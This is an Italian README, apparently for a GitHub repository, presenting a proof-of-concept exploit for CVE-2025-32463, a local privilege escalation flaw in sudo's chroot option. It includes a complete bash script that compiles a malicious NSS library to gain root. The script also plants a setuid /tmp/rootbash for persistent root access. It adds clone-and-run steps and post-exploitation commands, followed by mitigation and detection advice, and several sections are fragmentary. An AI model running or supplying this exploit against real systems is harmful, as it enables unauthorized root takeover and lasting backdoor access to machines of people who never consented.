
Exploit di escalation dei privilegi locali per CVE-2025-32463 che sfrutta un difetto di progettazione di sudo chroot. Fornisce script PoC, analisi tecnica e indicazioni di mitigazione per le versioni di sudo interessate 1.9.14-1.9.17.
CVE-2025-32463 è una vulnerabilità critica di escalation locale dei privilegi nelle versioni di sudo dalla 1.9.14 alla 1.9.17. Questa vulnerabilità consente agli attaccanti con privilegi sudo di ottenere accesso root sfruttando un difetto di progettazione nella logica di elaborazione dell'opzione chroot.
La vulnerabilità è dovuta a un problema di temporizzazione nel processo di convalida della sicurezza di sudo. La funzione pivot_root viene eseguita prima della verifica della policy di sicurezza, consentendo agli attaccanti di manipolare l'ambiente del file system che sudo utilizza per autenticazione e autorizzazione.
nsswitch.conf dannosopivot_root: Eseguita troppo presto nel processoset_cmnd_path: Opera nell'ambiente manipolatocommand_matches: Controlli di sicurezza bypassati a causa della manipolazione dell'ambientePrima di usare questo exploit, assicurati che siano soddisfatte le seguenti condizioni:
git clone https://github.com/KaiHT-Ladiant/CVE-2025-32463
cd CVE-2025-32463
chmod +x cve-2025-32463.sh
./cve-2025-32463.sh
Controlla se il sistema di destinazione è vulnerabile:
# Check sudo version
sudo --version
# Check sudo privileges
sudo -l
# Look for chroot-related permissions
sudo -l | grep chroot
Lo script principale dell'exploit (cve-2025-32463.sh):
#!/bin/bash
# CVE-2025-32463 PoC - Sudo Chroot Privilege Escalation
# Based on research by Rich Mirch @ Stratascale Cyber Research Unit
STAGE=$(mktemp -d /tmp/pentest.stage.XXXXXX)
cd ${STAGE?} || exit 1
cat > pentester.c<<'CEOF'
#include <stdlib.h>
#include <unistd.h>
void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
system("id > /tmp/pwned_proof.txt");
system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");
execl("/bin/bash", "/bin/bash", NULL);
}
CEOF
mkdir -p pentest/etc libnss_
echo "passwd: /pentester" > pentest/etc/nsswitch.conf
cp /etc/group pentest/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/pentester.so.2 pentester.c
echo "[*] Exploiting CVE-2025-32463..."
echo "[*] Attempting privilege escalation..."
sudo -R pentest pentest
# Cleanup
rm -rf ${STAGE?}
Dopo un'exploitazione riuscita, verifica l'accesso root:
# Check current privileges
whoami
# Check proof file
cat /tmp/pwned_proof.txt
# Use setuid bash for persistent root access
/tmp/rootbash -p
Aggiorna sudo alla versione 1.9.17p1 o successiva:
# Ubuntu/Debian
sudo apt update && sudo apt upgrade sudo
# CentOS/RHEL
sudo yum update sudo
# or
sudo dnf update sudo
Rimuovi le direttive chroot da sudoers (soluzione temporanea):
# Backup current configuration
sudo cp /etc/sudoers /etc/sudoers.backup
# Remove chroot-related entries
sudo sed -i '/chroot/d' /etc/sudoers
# Verify syntax
sudo visudo -c
Monitora i tentativi di exploitazione:
# Check for suspicious temporary directories
find /tmp -name "*.stage.*" -type d
# Monitor sudo logs
tail -f /var/log/auth.log | grep sudo
# Look for NSS library compilation
find /tmp -name "libnss_*.so*" -type f
La vulnerabilità deriva da un difetto di progettazione nel flusso di esecuzione di sudo:
Flusso normale previsto:
Flusso vulnerabile effettivo:
L'exploit sfrutta il sistema Name Service Switch (NSS):
/etc/nsswitch.conf per l'autenticazione dell'utenteQuesto exploit è stato testato su:
⚠️ DISCLAIMER IMPORTANTE ⚠️
Questo strumento è fornito solo a scopo educativo e per test autorizzati.
I contributi sono benvenuti! Per favore:
Questo progetto è concesso in licenza MIT - vedi il file LICENSE per i dettagli.
Nota: Questa vulnerabilità interessa un componente critico del sistema. Si prega di usarlo in modo responsabile e di assicurarsi che tutti i test siano autorizzati.